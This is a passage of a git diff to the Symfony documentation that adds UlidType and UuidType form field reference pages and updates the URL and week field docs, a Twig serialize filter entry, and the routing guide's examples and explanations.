-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/ulid.rst b/reference/forms/types/ulid.rst
new file mode 100644
index 00000000000..90d2f33589b
--- /dev/null
+++ b/reference/forms/types/ulid.rst
@@ -0,0 +1,74 @@
+.. index::
+   single: Forms; Fields; UuidType
+
+UlidType Field
+==============
+
+.. versionadded:: 5.3
+
+    The ``UlidType`` field was introduced in Symfony 5.3.
+
+Renders an input text field with the ULID string value and transforms it back to
+a proper :ref:`Ulid object <ulid>` when submitting the form.
+
++---------------------------+-----------------------------------------------------------------------+
+| Rendered as               | ``input`` ``text`` field                                              |
++---------------------------+-----------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid ULID.                                            |
++---------------------------+-----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                   |
++---------------------------+-----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
++---------------------------+-----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UlidType`    |
++---------------------------+-----------------------------------------------------------------------+
+
+.. include:: /reference/forms/types/options/_debug_form.rst.inc
+
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/compound_type.rst.inc
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
+Inherited Options
+-----------------
+
+These options inherit from the :doc:`FormType </reference/forms/types/form>`:
+
+.. include:: /reference/forms/types/options/attr.rst.inc
+
+.. include:: /reference/forms/types/options/data.rst.inc
+
+.. include:: /reference/forms/types/options/disabled.rst.inc
+
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
+
+The default value is ``''`` (the empty string).
+
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
+
+.. include:: /reference/forms/types/options/error_bubbling.rst.inc
+
+.. include:: /reference/forms/types/options/error_mapping.rst.inc
+
+.. include:: /reference/forms/types/options/help.rst.inc
+
+.. include:: /reference/forms/types/options/help_attr.rst.inc
+
+.. include:: /reference/forms/types/options/help_html.rst.inc
+
+.. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
+
+.. include:: /reference/forms/types/options/label.rst.inc
+
+.. include:: /reference/forms/types/options/label_attr.rst.inc
+
+.. include:: /reference/forms/types/options/label_format.rst.inc
+
+.. include:: /reference/forms/types/options/mapped.rst.inc
+
+.. include:: /reference/forms/types/options/required.rst.inc
+
+.. include:: /reference/forms/types/options/row_attr.rst.inc
diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index a03f1532021..6a5d368c41c 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -8,32 +8,17 @@ The ``UrlType`` field is a text field that prepends the submitted value with
 a given protocol (e.g. ``http://``) if the submitted value doesn't already
 have a protocol.
 
-+-------------+-------------------------------------------------------------------+
-| Rendered as | ``input url`` field                                               |
-+-------------+-------------------------------------------------------------------+
-| Options     | - `default_protocol`_                                             |
-+-------------+-------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                         |
-| options     | - `data`_                                                         |
-|             | - `disabled`_                                                     |
-|             | - `empty_data`_                                                   |
-|             | - `error_bubbling`_                                               |
-|             | - `error_mapping`_                                                |
-|             | - `help`_                                                         |
-|             | - `help_attr`_                                                    |
-|             | - `help_html`_                                                    |
-|             | - `label`_                                                        |
-|             | - `label_attr`_                                                   |
-|             | - `label_format`_                                                 |
-|             | - `mapped`_                                                       |
-|             | - `required`_                                                     |
-|             | - `row_attr`_                                                     |
-|             | - `trim`_                                                         |
-+-------------+-------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                     |
-+-------------+-------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UrlType` |
-+-------------+-------------------------------------------------------------------+
++---------------------------+-------------------------------------------------------------------+
+| Rendered as               | ``input url`` field                                               |
++---------------------------+-------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid URL.                                         |
++---------------------------+-------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                               |
++---------------------------+-------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                     |
++---------------------------+-------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UrlType` |
++---------------------------+-------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -49,6 +34,11 @@ If a value is submitted that doesn't begin with some protocol (e.g. ``http://``,
 ``ftp://``, etc), this protocol will be prepended to the string when
 the data is submitted to the form.
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -60,13 +50,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/uuid.rst b/reference/forms/types/uuid.rst
new file mode 100644
index 00000000000..c5d0827558e
--- /dev/null
+++ b/reference/forms/types/uuid.rst
@@ -0,0 +1,74 @@
+.. index::
+   single: Forms; Fields; UuidType
+
+UuidType Field
+==============
+
+.. versionadded:: 5.3
+
+    The ``UuidType`` field was introduced in Symfony 5.3.
+
+Renders an input text field with the UUID string value and transforms it back to
+a proper :ref:`Uuid object <uuid>` when submitting the form.
+
++---------------------------+-----------------------------------------------------------------------+
+| Rendered as               | ``input`` ``text`` field                                              |
++---------------------------+-----------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid UUID.                                            |
++---------------------------+-----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                   |
++---------------------------+-----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
++---------------------------+-----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UuidType`    |
++---------------------------+-----------------------------------------------------------------------+
+
+.. include:: /reference/forms/types/options/_debug_form.rst.inc
+
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/compound_type.rst.inc
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
+Inherited Options
+-----------------
+
+These options inherit from the :doc:`FormType </reference/forms/types/form>`:
+
+.. include:: /reference/forms/types/options/attr.rst.inc
+
+.. include:: /reference/forms/types/options/data.rst.inc
+
+.. include:: /reference/forms/types/options/disabled.rst.inc
+
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
+
+The default value is ``''`` (the empty string).
+
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
+
+.. include:: /reference/forms/types/options/error_bubbling.rst.inc
+
+.. include:: /reference/forms/types/options/error_mapping.rst.inc
+
+.. include:: /reference/forms/types/options/help.rst.inc
+
+.. include:: /reference/forms/types/options/help_attr.rst.inc
+
+.. include:: /reference/forms/types/options/help_html.rst.inc
+
+.. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
+
+.. include:: /reference/forms/types/options/label.rst.inc
+
+.. include:: /reference/forms/types/options/label_attr.rst.inc
+
+.. include:: /reference/forms/types/options/label_format.rst.inc
+
+.. include:: /reference/forms/types/options/mapped.rst.inc
+
+.. include:: /reference/forms/types/options/required.rst.inc
+
+.. include:: /reference/forms/types/options/row_attr.rst.inc
diff --git a/reference/forms/types/week.rst b/reference/forms/types/week.rst
index 6967df09bb7..045851adc96 100644
--- a/reference/forms/types/week.rst
+++ b/reference/forms/types/week.rst
@@ -10,39 +10,19 @@ This field type allows the user to modify data that represents a specific
 Can be rendered as a text input or select tags. The underlying format of
 the data can be a string or an array.
 
-+----------------------+-----------------------------------------------------------------------------+
-| Underlying Data Type | can be a string, or array (see the ``input`` option)                        |
-+----------------------+-----------------------------------------------------------------------------+
-| Rendered as          | single text box, two text boxes or two select fields                        |
-+----------------------+-----------------------------------------------------------------------------+
-| Options              | - `choice_translation_domain`_                                              |
-|                      | - `placeholder`_                                                            |
-|                      | - `html5`_                                                                  |
-|                      | - `input`_                                                                  |
-|                      | - `widget`_                                                                 |
-|                      | - `weeks`_                                                                  |
-|                      | - `years`_                                                                  |
-+----------------------+-----------------------------------------------------------------------------+
-| Overridden options   | - `compound`_                                                               |
-|                      | - `empty_data`_                                                             |
-|                      | - `error_bubbling`_                                                         |
-+----------------------+-----------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                   |
-| options              | - `data`_                                                                   |
-|                      | - `disabled`_                                                               |
-|                      | - `help`_                                                                   |
-|                      | - `help_attr`_                                                              |
-|                      | - `help_html`_                                                              |
-|                      | - `inherit_data`_                                                           |
-|                      | - `invalid_message`_                                                        |
-|                      | - `invalid_message_parameters`_                                             |
-|                      | - `mapped`_                                                                 |
-|                      | - `row_attr`_                                                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Parent type          | :doc:`FormType </reference/forms/types/form>`                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\WeekType`          |
-+----------------------+-----------------------------------------------------------------------------+
++---------------------------+--------------------------------------------------------------------+
+| Underlying Data Type      | can be a string, or array (see the ``input`` option)               |
++---------------------------+--------------------------------------------------------------------+
+| Rendered as               | single text box, two text boxes or two select fields               |
++---------------------------+--------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid week.                                         |
++---------------------------+--------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                |
++---------------------------+--------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                      |
++---------------------------+--------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\WeekType` |
++---------------------------+--------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -75,7 +55,7 @@ values for the year and week fields::
         'placeholder' => [
             'year' => 'Year',
             'week' => 'Week',
-        ]
+        ],
     ]);
 
 .. include:: /reference/forms/types/options/html5.rst.inc
@@ -122,22 +102,22 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/compound_type.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
 * If ``widget`` is ``single_text``, then ``''`` (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 error_bubbling
 ~~~~~~~~~~~~~~
 
 **default**: ``false``
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -157,8 +137,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/inherit_data.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 270c9c678c8..d2246edef52 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -225,6 +225,8 @@ Returns the absolute URL (with scheme and host) for the given route. If
     Read more about :doc:`Symfony routing </routing>` and about
     :ref:`creating links in Twig templates <templates-link-to-pages>`.
 
+.. _reference-twig-function-absolute-url:
+
 absolute_url
 ~~~~~~~~~~~~
 
@@ -239,6 +241,8 @@ Returns the absolute URL (with scheme and host) from the passed relative path. C
 :ref:`asset() function <reference-twig-function-asset>` to generate absolute URLs
 for web assets. Read more about :ref:`Linking to CSS, JavaScript and Image Assets <templates-link-to-assets>`.
 
+.. _reference-twig-function-relative-path:
+
 relative_path
 ~~~~~~~~~~~~~
 
@@ -558,6 +562,29 @@ project's root directory:
 If the given file path is out of the project directory, a ``null`` value
 will be returned.
 
+serialize
+~~~~~~~~~
+
+.. code-block:: twig
+
+    {{ object|serialize(format = 'json', context = []) }}
+
+``object``
+    **type**: ``mixed``
+
+``format`` *(optional)*
+    **type**: ``string``
+
+``context`` *(optional)*
+    **type**: ``array``
+
+.. versionadded:: 5.3
+
+    The ``serialize`` filter was introduced in Symfony 5.3.
+
+Accepts any data that can be serialized by the :doc:`Serializer component </serializer>`
+and returns a serialized string in the specified ``format``.
+
 .. _reference-twig-tags:
 
 Tags
diff --git a/routing.rst b/routing.rst
index e51fb11c688..a600f706d85 100644
--- a/routing.rst
+++ b/routing.rst
@@ -47,7 +47,7 @@ This command also creates the following configuration file:
 
     # config/routes/annotations.yaml
     controllers:
-        resource: '../../src/Controller/'
+        resource: ../../src/Controller/
         type: annotation
 
     kernel:
@@ -178,6 +178,12 @@ the ``BlogController``:
             ;
         };
 
+.. versionadded:: 5.1
+
+    Starting from Symfony 5.1, by default Symfony only loads the routes defined
+    in YAML format. If you define routes in XML and/or PHP formats, update the
+    ``src/Kernel.php`` file to add support for the ``.xml`` and ``.php`` file extensions.
+
 .. _routing-matching-http-methods:
 
 Matching HTTP Methods
@@ -226,13 +232,13 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
         class BlogApiController extends AbstractController
         {
             #[Route('/api/posts/{id}', methods: ['GET', 'HEAD'])]
-            public function show(int $id)
+            public function show(int $id): Response
             {
                 // ... return a JSON response with the post
             }
 
             #[Route('/api/posts/{id}', methods: ['PUT'])]
-            public function edit(int $id)
+            public function edit(int $id): Response
             {
                 // ... edit a post
             }
@@ -322,7 +328,7 @@ arbitrary matching logic:
              *     condition="context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'"
              * )
              *
-             * expressions can also include config parameters:
+             * expressions can also include configuration parameters:
              * condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
              */
             public function contact(): Response
@@ -337,6 +343,7 @@ arbitrary matching logic:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class DefaultController extends AbstractController
@@ -348,7 +355,7 @@ arbitrary matching logic:
             )]
             // expressions can also include config parameters:
             // condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
-            public function contact()
+            public function contact(): Response
             {
                 // ...
             }
@@ -361,7 +368,7 @@ arbitrary matching logic:
             path:       /contact
             controller: 'App\Controller\DefaultController::contact'
             condition:  "context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'"
-            # expressions can also include config parameters:
+            # expressions can also include configuration parameters:
             # condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
 
     .. code-block:: xml
@@ -375,7 +382,7 @@ arbitrary matching logic:
 
             <route id="contact" path="/contact" controller="App\Controller\DefaultController::contact">
                 <condition>context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'</condition>
-                <!-- expressions can also include config parameters: -->
+                <!-- expressions can also include configuration parameters: -->
                 <!-- <condition>request.headers.get('User-Agent') matches '%app.allowed_browsers%'</condition> -->
             </route>
         </routes>
@@ -390,7 +397,7 @@ arbitrary matching logic:
             $routes->add('contact', '/contact')
                 ->controller([DefaultController::class, 'contact'])
                 ->condition('context.getMethod() in ["GET", "HEAD"] and request.headers.get("User-Agent") matches "/firefox/i"')
-                // expressions can also include config parameters:
+                // expressions can also include configuration parameters:
                 // 'request.headers.get("User-Agent") matches "%app.allowed_browsers%"'
             ;
         };
@@ -511,6 +518,7 @@ defined as ``/blog/{slug}``:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
@@ -518,7 +526,7 @@ defined as ``/blog/{slug}``:
             // ...
 
             #[Route('/blog/{slug}', name: 'blog_show')]
-            public function show(string $slug)
+            public function show(string $slug): Response
             {
                 // $slug will equal the dynamic part of the URL
                 // e.g. at /blog/yay-routing, then $slug='yay-routing'
@@ -617,18 +625,19 @@ the ``{page}`` parameter using the ``requirements`` option:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
         {
             #[Route('/blog/{page}', name: 'blog_list', requirements: ['page' => '\d+'])]
-            public function list(int $page)
+            public function list(int $page): Response
             {
                 // ...
             }
 
             #[Route('/blog/{slug}', name: 'blog_show')]
-            public function show($slug)
+            public function show($slug): Response
             {
                 // ...
             }
@@ -696,7 +705,7 @@ URL                       Route          Parameters
 .. tip::
 
     Route requirements (and route paths too) can include
-    :ref:`container parameters <configuration-parameters>`, which is useful to
+    :ref:`configuration parameters <configuration-parameters>`, which is useful to
     define complex regular expressions once and reuse them in multiple routes.
 
 .. tip::
@@ -744,12 +753,13 @@ concise, but it can decrease route readability when requirements are complex:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
         {
             #[Route('/blog/{page<\d+>}', name: 'blog_list')]
-            public function list(int $page)
+            public function list(int $page): Response
             {
                 // ...
             }
@@ -798,7 +808,7 @@ visit ``/blog/1``, it will match. But if they visit ``/blog``, it will **not**
 match. As soon as you add a parameter to a route, it must have a value.
 
 You can make ``blog_list`` once again match when the user visits ``/blog`` by
-adding a default value for the ``{page}`` parameter. When using annotations,
+adding a default value for the ``{page}`` parameter. When using annotations or attributes,
 default values are defined in the arguments of the controller action. In the
 other configuration formats they are defined with the ``defaults`` option:
 
@@ -830,12 +840,13 @@ other configuration formats they are defined with the ``defaults`` option:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
         {
             #[Route('/blog/{page}', name: 'blog_list', requirements: ['page' => '\d+'])]
-            public function list(int $page = 1)
+            public function list(int $page = 1): Response
             {
                 // ...
             }
@@ -934,12 +945,13 @@ parameter:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
         {
             #[Route('/blog/{page<\d+>?1}', name: 'blog_list')]
-            public function list(int $page)
+            public function list(int $page): Response
             {
                 // ...
             }
@@ -982,7 +994,9 @@ parameter:
 .. tip::
 
     To give a ``null`` default value to any parameter, add nothing after the
-    ``?`` character (e.g. ``/blog/{page?}``).
+    ``?`` character (e.g. ``/blog/{page?}``). If you do this, don't forget to
+    update the types of the related controller arguments to allow passing
+    ``null`` values (e.g. replace ``int $page`` by ``?int $page``).
 
 Priority Parameter
 ~~~~~~~~~~~~~~~~~~
@@ -991,11 +1005,12 @@ Priority Parameter
 
     The ``priority`` parameter was introduced in Symfony 5.1
 
-When defining a greedy pattern that matches many routes, this may be at the
-beginning of your routing collection and prevents any route defined after to be
-matched.
-A ``priority`` optional parameter is available in order to let you choose the
-order of your routes, and it is only available when using annotations.
+Symfony evaluates routes in the order they are defined. If the path of a route
+matches many different patterns, it might prevent other routes from being
+matched. In YAML and XML you can move the route definitions up or down in the
+configuration file to control their priority. In routes defined as PHP
+annotations or attributes this is much harder to do, so you can set the
+optional ``priority`` parameter in those routes to control their priority:
 
 .. configuration-block::
 
@@ -1068,8 +1083,7 @@ Parameter Conversion
 
 A common routing need is to convert the value stored in some parameter (e.g. an
 integer acting as the user ID) into another value (e.g. the object that
-represents the user). This feature is called "param converter" and is only
-available when using annotations to define routes.
+represents the user). This feature is called "param converter".
 
 To add support for "param converters" we need SensioFrameworkExtraBundle:
 
@@ -1187,7 +1201,7 @@ and in route imports. Symfony defines some special attributes with the same name
                     '_format' => 'html|xml',
                 ],
             )]
-            public function search()
+            public function search(): Response
             {
             }
         }
@@ -1220,7 +1234,7 @@ and in route imports. Symfony defines some special attributes with the same name
                 format="html">
 
                 <requirement key="_locale">en|fr</requirement>
-                <requirement key="_format">html|rss</requirement>
+                <requirement key="_format">html|xml</requirement>
 
             </route>
         </routes>
@@ -1239,7 +1253,7 @@ and in route imports. Symfony defines some special attributes with the same name
                 ->format('html')
                 ->requirements([
                     '_locale' => 'en|fr',
-                    '_format' => 'html|rss',
+                    '_format' => 'html|xml',
                 ])
             ;
         };
@@ -1278,12 +1292,14 @@ the controllers of the routes:
         // src/Controller/BlogController.php
         namespace App\Controller;
 
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
-        class BlogController
+        class BlogController extends AbstractController
         {
             #[Route('/blog/{page}', name: 'blog_index', defaults: ['page' => 1, 'title' => 'Hello world!'])]
-            public function index(int $page, string $title)
+            public function index(int $page, string $title): Response
             {
                 // ...
             }
@@ -1368,13 +1384,15 @@ A possible solution is to change the parameter requirements to be more permissiv
 
         // src/Controller/DefaultController.php
         namespace App\Controller;
-
+        
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
-        class DefaultController
+        class DefaultController extends AbstractController
         {
             #[Route('/share/{token}', name: 'share', requirements: ['token' => '.+'])]
-            public function share($token)
+            public function share($token): Response
             {
                 // ...
             }
@@ -1420,11 +1438,11 @@ A possible solution is to change the parameter requirements to be more permissiv
 
 .. note::
 
-    If the route defines several parameter and you apply this permissive
+    If the route defines several parameters and you apply this permissive
     regular expression to all of them, you might get unexpected results. For
     example, if the route definition is ``/share/{path}/{token}`` and both
-    ``path`` and ``token`` accept ``/``. The ``token`` only get the last path
-    and the rest of the match is matched by the first argument (``path``).
+    ``path`` and ``token`` accept ``/``, then ``token`` will only get the last part
+    and the rest is matched by ``path``.
 
 .. note::
 
@@ -1486,20 +1504,22 @@ when importing the routes.
 
         // src/Controller/BlogController.php
         namespace App\Controller;
-
+        
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         #[Route('/blog', requirements: ['_locale' => 'en|es|fr'], name: 'blog_')]
-        class BlogController
+        class BlogController extends AbstractController
         {
             #[Route('/{_locale}', name: 'index')]
-            public function index()
+            public function index(): Response
             {
                 // ...
             }
 
             #[Route('/{_locale}/posts/{slug}', name: 'show')]
-            public function show(Post $post)
+            public function show(Post $post): Response
             {
                 // ...
             }
@@ -1518,9 +1538,11 @@ when importing the routes.
             # these requirements are added to all imported routes
             requirements:
                 _locale: 'en|es|fr'
+
             # An imported route with an empty URL will become "/blog/"
             # Uncomment this option to make that URL "/blog" instead
             # trailing_slash_on_root: false
+
             # you can optionally exclude some files/subdirectories when loading annotations
             # exclude: '../../src/Controller/{DebugEmailController}.php'
 
@@ -1562,27 +1584,86 @@ when importing the routes.
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return function (RoutingConfigurator $routes) {
-            // use the optional fifth argument of import() to exclude some files
+            // use the optional fourth argument of import() to exclude some files
             // or subdirectories when loading annotations
             $routes->import('../../src/Controller/', 'annotation')
                 // this is added to the beginning of all imported route URLs
                 ->prefix('/blog')
+
                 // An imported route with an empty URL will become "/blog/"
                 // Pass FALSE as the second argument to make that URL "/blog" instead
                 // ->prefix('/blog', false)
+
                 // this is added to the beginning of all imported route names
                 ->namePrefix('blog_')
+
                 // these requirements are added to all imported routes
                 ->requirements(['_locale' => 'en|es|fr'])
+
+                // you can optionally exclude some files/subdirectories when loading annotations
+                ->exclude('../../src/Controller/{DebugEmailController}.php')
             ;
         };
 
 In this example, the route of the ``index()`` action will be called ``blog_index``
-and its URL will be ``/blog/``. The route of the ``show()`` action will be called
+and its URL will be ``/blog/{_locale}``. The route of the ``show()`` action will be called
 ``blog_show`` and its URL will be ``/blog/{_locale}/posts/{slug}``. Both routes
 will also validate that the ``_locale`` parameter matches the regular expression
 defined in the class annotation.
 
+.. note::
+
+    If any of the prefixed routes defines an empty path, Symfony adds a trailing
+    slash to it. In the previous example, an empty path prefixed with ``/blog``
+    will result in the ``/blog/`` URL. If you want to avoid this behavior, set
+    the ``trailing_slash_on_root`` option to ``false`` (this option is not
+    available when using PHP attributes or annotations):
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/routes/annotations.yaml
+            controllers:
+                resource: '../../src/Controller/'
+                type:     annotation
+                prefix:   '/blog'
+                trailing_slash_on_root: false
+                # ...
+
+        .. code-block:: xml
+
+            <!-- config/routes/annotations.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <routes xmlns="http://symfony.com/schema/routing"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/routing
+                    https://symfony.com/schema/routing/routing-1.0.xsd">
+
+                <import resource="../../src/Controller/"
+                    type="annotation"
+                    prefix="/blog"
+                    name-prefix="blog_"
+                    trailing-slash-on-root="false"
+                    exclude="../../src/Controller/{DebugEmailController}.php">
+                    <!-- ... -->
+                </import>
+            </routes>
+
+        .. code-block:: php
+
+            // config/routes/annotations.php
+            use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+
+            return function (RoutingConfigurator $routes) {
+                $routes->import('../../src/Controller/', 'annotation')
+                    // the second argument is the $trailingSlashOnRoot option
+                    ->prefix('/blog', false)
+
+                    // ...
+                ;
+            };
+
 .. seealso::
 
     Symfony can :doc:`import routes from different sources </routing/custom_route_loader>`
@@ -1822,18 +1903,19 @@ host name:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class MainController extends AbstractController
         {
             #[Route('/', name: 'mobile_homepage', host: 'm.example.com')]
-            public function mobileHomepage()
+            public function mobileHomepage(): Response
             {
                 // ...
             }
 
             #[Route('/', name: 'homepage')]
-            public function homepage()
+            public function homepage(): Response
             {
                 // ...
             }
@@ -1931,6 +2013,7 @@ multi-tenant applications) and these parameters can be validated too with
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class MainController extends AbstractController
@@ -1942,13 +2025,13 @@ multi-tenant applications) and these parameters can be validated too with
                 defaults: ['subdomain' => 'm'],
                 requirements: ['subdomain' => 'm|mobile'],
             )]
-            public function mobileHomepage()
+            public function mobileHomepage(): Response
             {
                 // ...
             }
 
             #[Route('/', name: 'homepage')]
-            public function homepage()
+            public function homepage(): Response
             {
                 // ...
             }
@@ -2013,7 +2096,7 @@ multi-tenant applications) and these parameters can be validated too with
         };
 
 In the above example, the ``subdomain`` parameter defines a default value because
-otherwise you need to include a domain value each time you generate a URL using
+otherwise you need to include a subdomain value each time you generate a URL using
 these routes.
 
 .. tip::
@@ -2032,10 +2115,20 @@ these routes.
             [],
             [],
             ['HTTP_HOST' => 'm.example.com']
-            // or get the value from some container parameter:
-            // ['HTTP_HOST' => 'm.' . $client->getContainer()->getParameter('domain')]
+            // or get the value from some configuration parameter:
+            // ['HTTP_HOST' => 'm.'.$client->getContainer()->getParameter('domain')]
         );
 
+.. tip::
+
+    You can also use the inline defaults and requirements format in the
+    ``host`` option: ``{subdomain<m|mobile>?m}.example.com``
+
+.. versionadded:: 5.2
+
+    Inline parameter default values support in hosts were introduced in
+    Symfony 5.2. Prior to Symfony 5.2, they were supported in the path only.
+
 .. _i18n-routing:
 
 Localized Routes (i18n)
@@ -2076,6 +2169,7 @@ avoids the need for duplicating routes, which also reduces the potential bugs:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class CompanyController extends AbstractController
@@ -2084,7 +2178,7 @@ avoids the need for duplicating routes, which also reduces the potential bugs:
                 'en' => '/about-us',
                 'nl' => '/over-ons'
             ], name: 'about_us')]
-            public function about()
+            public function about(): Response
             {
                 // ...
             }
@@ -2185,7 +2279,54 @@ with a locale. This can be done by defining a different prefix for each locale
                 ->prefix([
                     // don't prefix URLs for English, the default locale
                     'en' => '',
-                    'nl' => '/nl'
+                    'nl' => '/nl',
+                ])
+            ;
+        };
+
+Another common requirement is to host the website on a different domain
+according to the locale. This can be done by defining a different host for each
+locale.
+
+.. versionadded:: 5.1
+
+    The ability to define an array of hosts was introduced in Symfony 5.1.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/routes/annotations.yaml
+        controllers:
+            resource: '../../src/Controller/'
+            type: annotation
+            host:
+                en: 'https://www.example.com'
+                nl: 'https://www.example.nl'
+
+    .. code-block:: xml
+
+        <!-- config/routes/annotations.xml -->
